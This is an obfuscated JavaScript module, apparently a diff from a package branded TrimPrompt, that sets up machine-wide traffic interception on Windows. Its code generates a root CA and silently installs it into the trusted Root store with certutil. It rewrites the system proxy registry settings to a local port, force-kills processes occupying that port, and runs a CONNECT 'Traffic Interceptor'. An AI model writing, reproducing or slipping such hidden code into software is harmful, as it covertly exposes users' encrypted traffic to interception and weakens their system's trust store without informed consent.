fs=__importStar(require('fs')),path=__importStar(require(a0_0x50d6e4(0x1c3))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x50d6e4(0x18e))),crypto=__importStar(require(a0_0x50d6e4(0x184))),child_process_1=require(a0_0x50d6e4(0x18b)),baseDir=path[a0_0x50d6e4(0x1c5)](os[a0_0x50d6e4(0x1cd)](),a0_0x50d6e4(0x1a7)),caCertPath=path[a0_0x50d6e4(0x1c5)](baseDir,a0_0x50d6e4(0x1c6)),caKeyPath=path[a0_0x50d6e4(0x1c5)](baseDir,'ca.key');function ensureBaseDir(){const _0x5c2bdd=a0_0x50d6e4;if(!fs['existsSync'](baseDir))fs[_0x5c2bdd(0x1d2)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x83387d=a0_0x50d6e4;ensureBaseDir();if(fs[_0x83387d(0x1bc)](caCertPath)&&fs[_0x83387d(0x1bc)](caKeyPath))return{'cert':fs[_0x83387d(0x189)](caCertPath,_0x83387d(0x1c7)),'key':fs[_0x83387d(0x189)](caKeyPath,_0x83387d(0x1c7))};const {privateKey:_0x675b4c,publicKey:_0x1eba9b}=crypto[_0x83387d(0x1a4)](_0x83387d(0x1b2),{'modulusLength':0x800,'publicKeyEncoding':{'type':'spki','format':'pem'},'privateKeyEncoding':{'type':_0x83387d(0x1ab),'format':_0x83387d(0x1a1)}}),_0x10f374=crypto[_0x83387d(0x1b5)]?crypto[_0x83387d(0x1b5)]():null;let _0x17c527='';return _0x10f374?(_0x10f374[_0x83387d(0x1c1)](_0x83387d(0x181)),_0x10f374['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x10f374[_0x83387d(0x1d0)](crypto[_0x83387d(0x1c4)](_0x1eba9b)),_0x10f374['sign'](crypto[_0x83387d(0x1a8)](_0x675b4c),_0x83387d(0x18d)),_0x17c527=_0x10f374[_0x83387d(0x1a6)]('pem')[_0x83387d(0x1cb)]()):_0x17c527=_0x1eba9b,fs[_0x83387d(0x191)](caKeyPath,_0x675b4c,_0x83387d(0x1c7)),fs[_0x83387d(0x191)](caCertPath,_0x17c527,_0x83387d(0x1c7)),{'cert':_0x17c527,'key':_0x675b4c};}function installSystemCaCert(){const _0x100224=a0_0x50d6e4;if(process['platform']!==_0x100224(0x1d4))return![];try{return generateCaCertificate(),(0x0,child_process_1['execSync'])(_0x100224(0x190)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function a0_0x425f(){const _0x4357b7=['child_process','end','sha256','http','108621XLiczh','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeFileSync','connect','5826ezNUiA','create','default','split','trim','1523556okwHxr','startTrafficInterceptor','enableSystemProxy','stringify','defineProperty','disableSystemProxy','listen','hasOwnProperty','.\x20Retrying\x20listen...','pem','Set-ItemProperty\x20-Path\x20\x27','taskkill\x20/PID\x20','generateKeyPairSync','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','export','.trimprompt','createPrivateKey','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','get','pkcs8','length','24MlAKvE','4EXkdbx','message','127.0.0.1','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','rsa','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','pid','createCertificate','6402430ptLVXY','error','code','651352aOlWSW','11982340NJiptq','pipe','existsSync','call','__esModule','replace','2383024TZWGyl','setSubject','getOwnPropertyDescriptor','path','createPublicKey','join','ca.crt','utf8','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','\x20/F','__createBinding','toString','generateCaCertificate','homedir','execSync','\x20|\x20findstr\x20LISTENING','setPublicKey','__setModuleDefault','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','win32','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','createServer','getOwnPropertyNames','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','url','crypto','5691IHimZW','log','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','platform','readFileSync','ignore'];a0_0x425f=function(){return _0x4357b7;};return a0_0x425f();}function enableSystemProxy(_0x51bfd3=0x1f90){const _0x49ac92=a0_0x50d6e4;if(process['platform']!==_0x49ac92(0x1d4))return![];try{const _0x5a45f8='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x25e80a='127.0.0.1:'+_0x51bfd3,_0x1afc37=_0x49ac92(0x1a2)+_0x5a45f8+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5a45f8+_0x49ac92(0x187)+_0x25e80a+'\x27';return(0x0,child_process_1[_0x49ac92(0x1ce)])(_0x49ac92(0x1d3)+_0x1afc37[_0x49ac92(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x49ac92(0x18a),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x13a89e=a0_0x50d6e4;if(process['platform']!==_0x13a89e(0x1d4))return![];try{const _0x5eb58f=_0x13a89e(0x1b1),_0x334e08=_0x13a89e(0x1a2)+_0x5eb58f+_0x13a89e(0x1d5);return(0x0,child_process_1[_0x13a89e(0x1ce)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x334e08[_0x13a89e(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x5d4982=0x1f90){const _0x22897c=a0_0x50d6e4,_0x24d73b=http[_0x22897c(0x17f)]();_0x24d73b['on'](_0x22897c(0x1b7),_0x5949a9=>{const _0x15c7bc=_0x22897c;if(_0x5949a9[_0x15c7bc(0x1b8)]==='EADDRINUSE'){console['log'](_0x15c7bc(0x1a5)+_0x5d4982+'\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...');try{if(process[_0x15c7bc(0x188)]==='win32'){const _0x48efda=(0x0,child_process_1[_0x15c7bc(0x1ce)])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x5d4982+_0x15c7bc(0x1cf),{'encoding':_0x15c7bc(0x1c7),'timeout':0xbb8}),_0x2c771d=_0x48efda[_0x15c7bc(0x197)]()[_0x15c7bc(0x196)](/\s+/),_0x6424bd=_0x2c771d[_0x2c771d[_0x15c7bc(0x1ac)]-0x1];if(_0x6424bd&&_0x6424bd!==String(process[_0x15c7bc(0x1b4)])){(0x0,child_process_1[_0x15c7bc(0x1ce)])(_0x15c7bc(0x1a3)+_0x6424bd+_0x15c7bc(0x1c9),{'stdio':_0x15c7bc(0x18a),'timeout':0xbb8}),console[_0x15c7bc(0x186)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x6424bd+_0x15c7bc(0x1a0)),setTimeout(()=>_0x24d73b[_0x15c7bc(0x19e)](_0x5d4982,_0x15c7bc(0x1b0)),0x1f4);return;}}}catch{}console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1a5)+_0x5d4982+_0x15c7bc(0x182));}else console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1c8)+_0x5949a9[_0x15c7bc(0x1af)]);}),_0x24d73b['on']('request',(_0x3e8a34,_0x10f89c)=>{const _0x3be463=_0x22897c;_0x10f89c['writeHead'](0xc8,{'Content-Type':'application/json'}),_0x10f89c['end'](JSON[_0x3be463(0x19b)]({'status':'TrimPrompt\x20Traffic\x20Interceptor\x20Active','url':_0x3e8a34[_0x3be463(0x183)]}));}),_0x24d73b['on'](_0x22897c(0x192),(_0x3d59f8,_0x571f04,_0x536456)=>{const _0x3b0e0e=_0x22897c,[_0x40506f,_0x18c2d2]=(_0x3d59f8[_0x3b0e0e(0x183)]||'')['split'](':'),_0x12967a=parseInt(_0x18c2d2,0xa)||0x1bb,_0x2c4b6a=net[_0x3b0e0e(0x192)](_0x12967a,_0x40506f,()=>{const _0x4aa85a=_0x3b0e0e;_0x571f04['write'](_0x4aa85a(0x1a9)),_0x2c4b6a['write'](_0x536456),_0x2c4b6a[_0x4aa85a(0x1bb)](_0x571f04),_0x571f04['pipe'](_0x2c4b6a);});_0x2c4b6a['on'](_0x3b0e0e(0x1b7),()=>{const _0x12aa9b=_0x3b0e0e;try{_0x571f04[_0x12aa9b(0x18c)]();}catch{}}),_0x571f04['on'](_0x3b0e0e(0x1b7),()=>{const _0x17b07c=_0x3b0e0e;try{_0x2c4b6a[_0x17b07c(0x18c)]();}catch{}});}),_0x24d73b[_0x22897c(0x19e)](_0x5d4982,_0x22897c(0x1b0),()=>{const _0x18f789=_0x22897c;console[_0x18f789(0x186)](_0x18f789(0x1b3)+_0x5d4982);});}
|
|
1
|
+
'use strict';const a0_0xf94fc0=a0_0x9311;(function(_0x280e9b,_0x5dfcf5){const _0x512c67=a0_0x9311,_0x1cf3e2=_0x280e9b();while(!![]){try{const _0x1f3d75=parseInt(_0x512c67(0x14f))/0x1*(-parseInt(_0x512c67(0x146))/0x2)+parseInt(_0x512c67(0x13c))/0x3+parseInt(_0x512c67(0x150))/0x4*(parseInt(_0x512c67(0x129))/0x5)+parseInt(_0x512c67(0x142))/0x6+parseInt(_0x512c67(0x116))/0x7+-parseInt(_0x512c67(0x13e))/0x8*(-parseInt(_0x512c67(0x13b))/0x9)+-parseInt(_0x512c67(0x141))/0xa;if(_0x1f3d75===_0x5dfcf5)break;else _0x1cf3e2['push'](_0x1cf3e2['shift']());}catch(_0x1f9bb0){_0x1cf3e2['push'](_0x1cf3e2['shift']());}}}(a0_0x5891,0xb8d37));function a0_0x5891(){const _0x3ae180=['readFileSync','hasOwnProperty','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','replace','ignore','Set-ItemProperty\x20-Path\x20\x27','write','14048UyHLTo','4UEmyFB','homedir','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','length','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeHead','default','log','code','writeFileSync','pid','join','crypto','.\x20Retrying\x20listen...','execSync','setSubject','defineProperty','createPrivateKey','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','split','__importStar','disableSystemProxy','win32','EADDRINUSE','connect','stringify','http','5755568vtzrnu','request','listen','error','existsSync','getOwnPropertyNames','enableSystemProxy','configurable','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','powershell.exe\x20-NoProfile\x20-Command\x20\x22','127.0.0.1','toString','create','ca.crt','__setModuleDefault','TrimPrompt\x20Traffic\x20Interceptor\x20Active','get','utf8','platform','7141965oTXfcv','prototype','setPublicKey','pipe','generateKeyPairSync','installSystemCaCert','pem','url','rsa','trim','createServer','child_process','createCertificate','sha256','127.0.0.1:','startTrafficInterceptor','.trimprompt','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','26613OFQtyd','3020598HvYokT','call','3936PUUdbO','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','__esModule','45093680wCXswg','5768880FeEiim','export','generateCaCertificate','application/json','58nXGAZG','end'];a0_0x5891=function(){return _0x3ae180;};return a0_0x5891();}var __createBinding=this&&this['__createBinding']||(Object[a0_0xf94fc0(0x122)]?function(_0xe761a7,_0x4642f4,_0x11cf32,_0x921b89){const _0x542dba=a0_0xf94fc0;if(_0x921b89===undefined)_0x921b89=_0x11cf32;var _0x44e644=Object['getOwnPropertyDescriptor'](_0x4642f4,_0x11cf32);(!_0x44e644||(_0x542dba(0x126)in _0x44e644?!_0x4642f4['__esModule']:_0x44e644['writable']||_0x44e644[_0x542dba(0x11d)]))&&(_0x44e644={'enumerable':!![],'get':function(){return _0x4642f4[_0x11cf32];}}),Object[_0x542dba(0x10b)](_0xe761a7,_0x921b89,_0x44e644);}:function(_0x1ba39a,_0x468803,_0x48ef12,_0x23eb15){if(_0x23eb15===undefined)_0x23eb15=_0x48ef12;_0x1ba39a[_0x23eb15]=_0x468803[_0x48ef12];}),__setModuleDefault=this&&this[a0_0xf94fc0(0x124)]||(Object[a0_0xf94fc0(0x122)]?function(_0x4a3cd3,_0x1a829a){const _0x32c0cd=a0_0xf94fc0;Object[_0x32c0cd(0x10b)](_0x4a3cd3,_0x32c0cd(0x15a),{'enumerable':!![],'value':_0x1a829a});}:function(_0x37757e,_0x5a9416){_0x37757e['default']=_0x5a9416;}),__importStar=this&&this[a0_0xf94fc0(0x10f)]||(function(){var _0x5010d0=function(_0x473ee3){const _0x4e92e1=a0_0x9311;return _0x5010d0=Object[_0x4e92e1(0x11b)]||function(_0x403380){const _0x529061=_0x4e92e1;var _0x16772e=[];for(var _0x1046ae in _0x403380)if(Object[_0x529061(0x12a)][_0x529061(0x149)][_0x529061(0x13d)](_0x403380,_0x1046ae))_0x16772e[_0x16772e['length']]=_0x1046ae;return _0x16772e;},_0x5010d0(_0x473ee3);};return function(_0x5b00b2){const _0x3541e7=a0_0x9311;if(_0x5b00b2&&_0x5b00b2[_0x3541e7(0x140)])return _0x5b00b2;var _0x16f129={};if(_0x5b00b2!=null){for(var _0x3c4137=_0x5010d0(_0x5b00b2),_0x4bcd84=0x0;_0x4bcd84<_0x3c4137[_0x3541e7(0x156)];_0x4bcd84++)if(_0x3c4137[_0x4bcd84]!==_0x3541e7(0x15a))__createBinding(_0x16f129,_0x5b00b2,_0x3c4137[_0x4bcd84]);}return __setModuleDefault(_0x16f129,_0x5b00b2),_0x16f129;};}());Object[a0_0xf94fc0(0x10b)](exports,'__esModule',{'value':!![]}),exports[a0_0xf94fc0(0x144)]=generateCaCertificate,exports[a0_0xf94fc0(0x12e)]=installSystemCaCert,exports[a0_0xf94fc0(0x11c)]=enableSystemProxy,exports[a0_0xf94fc0(0x110)]=disableSystemProxy,exports[a0_0xf94fc0(0x138)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xf94fc0(0x115))),crypto=__importStar(require(a0_0xf94fc0(0x107))),child_process_1=require(a0_0xf94fc0(0x134)),baseDir=path['join'](os[a0_0xf94fc0(0x151)](),a0_0xf94fc0(0x139)),caCertPath=path[a0_0xf94fc0(0x106)](baseDir,a0_0xf94fc0(0x123)),caKeyPath=path[a0_0xf94fc0(0x106)](baseDir,'ca.key');function ensureBaseDir(){const _0x10973d=a0_0xf94fc0;if(!fs[_0x10973d(0x11a)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x2525d2=a0_0xf94fc0;ensureBaseDir();if(fs[_0x2525d2(0x11a)](caCertPath)&&fs['existsSync'](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x2525d2(0x127)),'key':fs[_0x2525d2(0x148)](caKeyPath,_0x2525d2(0x127))};const {privateKey:_0xcecdcb,publicKey:_0x5298f6}=crypto[_0x2525d2(0x12d)](_0x2525d2(0x131),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x2525d2(0x153),'format':_0x2525d2(0x12f)},'privateKeyEncoding':{'type':'pkcs8','format':'pem'}}),_0x3fc8bf=crypto[_0x2525d2(0x135)]?crypto[_0x2525d2(0x135)]():null;let _0x25711e='';return _0x3fc8bf?(_0x3fc8bf[_0x2525d2(0x10a)](_0x2525d2(0x13a)),_0x3fc8bf['setIssuer'](_0x2525d2(0x13a)),_0x3fc8bf[_0x2525d2(0x12b)](crypto['createPublicKey'](_0x5298f6)),_0x3fc8bf['sign'](crypto[_0x2525d2(0x10c)](_0xcecdcb),_0x2525d2(0x136)),_0x25711e=_0x3fc8bf[_0x2525d2(0x143)](_0x2525d2(0x12f))[_0x2525d2(0x121)]()):_0x25711e=_0x5298f6,fs[_0x2525d2(0x15d)](caKeyPath,_0xcecdcb,_0x2525d2(0x127)),fs[_0x2525d2(0x15d)](caCertPath,_0x25711e,_0x2525d2(0x127)),{'cert':_0x25711e,'key':_0xcecdcb};}function installSystemCaCert(){const _0x52a2e9=a0_0xf94fc0;if(process['platform']!==_0x52a2e9(0x111))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x52a2e9(0x109)])(_0x52a2e9(0x158)+caCertPath+'\x22',{'stdio':_0x52a2e9(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x3a89db=0x1f90){const _0x588c28=a0_0xf94fc0;if(process[_0x588c28(0x128)]!=='win32')return![];try{const _0xd17b49=_0x588c28(0x13f),_0x1598e6=_0x588c28(0x137)+_0x3a89db,_0x5ed426=_0x588c28(0x14d)+_0xd17b49+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xd17b49+_0x588c28(0x154)+_0x1598e6+'\x27';return(0x0,child_process_1['execSync'])(_0x588c28(0x11f)+_0x5ed426[_0x588c28(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x588c28(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function a0_0x9311(_0x153513,_0xeefaa9){const _0x5891cc=a0_0x5891();return a0_0x9311=function(_0x93117a,_0x2d62a8){_0x93117a=_0x93117a-0x106;let _0x2ac946=_0x5891cc[_0x93117a];return _0x2ac946;},a0_0x9311(_0x153513,_0xeefaa9);}function disableSystemProxy(){const _0x446b17=a0_0xf94fc0;if(process[_0x446b17(0x128)]!==_0x446b17(0x111))return![];try{const _0x149079='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x3d0a3c=_0x446b17(0x14d)+_0x149079+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200';return(0x0,child_process_1[_0x446b17(0x109)])(_0x446b17(0x11f)+_0x3d0a3c[_0x446b17(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x446b17(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x551853=0x1f90){const _0x536c67=a0_0xf94fc0,_0x205c57=http[_0x536c67(0x133)]();_0x205c57['on'](_0x536c67(0x119),_0x4f94ca=>{const _0x36b709=_0x536c67;if(_0x4f94ca[_0x36b709(0x15c)]===_0x36b709(0x112)){console[_0x36b709(0x15b)](_0x36b709(0x152)+_0x551853+_0x36b709(0x155));try{if(process['platform']==='win32'){const _0xd1b36b=(0x0,child_process_1['execSync'])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x551853+'\x20|\x20findstr\x20LISTENING',{'encoding':_0x36b709(0x127),'timeout':0xbb8}),_0x3e1c15=_0xd1b36b[_0x36b709(0x132)]()['split'](/\s+/),_0x396c3f=_0x3e1c15[_0x3e1c15[_0x36b709(0x156)]-0x1];if(_0x396c3f&&_0x396c3f!==String(process[_0x36b709(0x15e)])){(0x0,child_process_1['execSync'])('taskkill\x20/PID\x20'+_0x396c3f+'\x20/F',{'stdio':_0x36b709(0x14c),'timeout':0xbb8}),console[_0x36b709(0x15b)](_0x36b709(0x11e)+_0x396c3f+_0x36b709(0x108)),setTimeout(()=>_0x205c57['listen'](_0x551853,_0x36b709(0x120)),0x1f4);return;}}}catch{}console[_0x36b709(0x119)]('[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20'+_0x551853+_0x36b709(0x157));}else console['error'](_0x36b709(0x10d)+_0x4f94ca['message']);}),_0x205c57['on'](_0x536c67(0x117),(_0xadf103,_0x173e68)=>{const _0x22a07f=_0x536c67;_0x173e68[_0x22a07f(0x159)](0xc8,{'Content-Type':_0x22a07f(0x145)}),_0x173e68['end'](JSON[_0x22a07f(0x114)]({'status':_0x22a07f(0x125),'url':_0xadf103[_0x22a07f(0x130)]}));}),_0x205c57['on']('connect',(_0x1a4a69,_0x2dfaea,_0x24c6f8)=>{const _0x2c89b4=_0x536c67,[_0x18525f,_0x58d9d2]=(_0x1a4a69[_0x2c89b4(0x130)]||'')[_0x2c89b4(0x10e)](':'),_0x470408=parseInt(_0x58d9d2,0xa)||0x1bb,_0x32d38f=net[_0x2c89b4(0x113)](_0x470408,_0x18525f,()=>{const _0x27bf48=_0x2c89b4;_0x2dfaea[_0x27bf48(0x14e)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x32d38f[_0x27bf48(0x14e)](_0x24c6f8),_0x32d38f[_0x27bf48(0x12c)](_0x2dfaea),_0x2dfaea[_0x27bf48(0x12c)](_0x32d38f);});_0x32d38f['on']('error',()=>{const _0x367dbd=_0x2c89b4;try{_0x2dfaea[_0x367dbd(0x147)]();}catch{}}),_0x2dfaea['on'](_0x2c89b4(0x119),()=>{const _0x39eb5d=_0x2c89b4;try{_0x32d38f[_0x39eb5d(0x147)]();}catch{}});}),_0x205c57[_0x536c67(0x118)](_0x551853,_0x536c67(0x120),()=>{const _0x28d570=_0x536c67;console['log'](_0x28d570(0x14a)+_0x551853);});}
|